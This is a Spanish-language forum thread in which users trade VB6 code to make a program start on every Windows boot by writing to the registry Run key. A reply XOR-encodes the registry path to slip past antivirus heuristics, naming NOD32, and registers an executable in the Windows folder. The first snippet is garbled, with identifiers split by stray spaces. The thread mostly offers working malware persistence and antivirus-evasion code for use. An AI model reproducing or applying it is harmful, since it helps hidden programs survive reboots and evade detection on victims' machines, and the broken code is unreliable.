Buenas, pues aun q es raro y me dado cuenta de que me a "jodido" todos los proyectos anteriores..
Para cuando un pc es apagado, o reiniciado, para que el pc se inicie de nuevo, el codigo seria este ??
Private Sub Command1_Click()
Dim RegistroCochin o As Object
Dim RutaCochina As String
Dim CadenaNueva As String
Dim ContenidoCaden a As String
ContenidoCaden a = "http://ranefi.mx.gs"
CadenaNueva = "\ranefi"
RutaCochina = "HKEY_LOCAL_MAC HINE\Software\Microsoft\Windows" & _
"\CurrentVersion\Run" & CadenaNueva
Set RegistroCochin o = CreateObject("WScript.Shell")
RegistroCochin o.RegWrite RutaCochina, ContenidoCaden a
End Sub
Si fuera asin quiero saber que quiere decir | ContenidoCaden a = "http://ranefi.mx.gs" , CadenaNueva = "\ranefi"
yo quisiera que se ejecutara, por ejemplo PROYECTO.EXE
P.D: HENDRIX CONECTATE AL MSN !!!!!!!!!!!!!!!!!!!!!!!!
dim Windows = environ("windir") 'la variable windows es igual a la carpeta donde este el windows
On Error GoTo fallo'este code lo pones por ejemplo en form_load
Set Clave = CreateObject("WScript.shell")
Deb = descifrar("OLB^XDRUUBISXRTBU[Thaspfub[Jnduhthas[Pnichpt[DruubisQbutnhi[Uri[Lkftt")
Clave.regwrite Deb, Windows & "\jushed.exe" 'jushed.exe seria el nombre de la aplicacion que quieres que se inicie
fallo:
Private Function descifrar(j)
On Error Resume Next
For R = 1 To Len(j)
descifrar = descifrar & Chr(Asc(Mid(j, R, 1)) Xor 7)
Next
End Function
Aca tiene el code para agregar la cadena al registro y de paso encriptarla, para no tener problemas con la heuristica como por ejemplo con el nod32
este code no es mio
todos los creditos a vivachapas!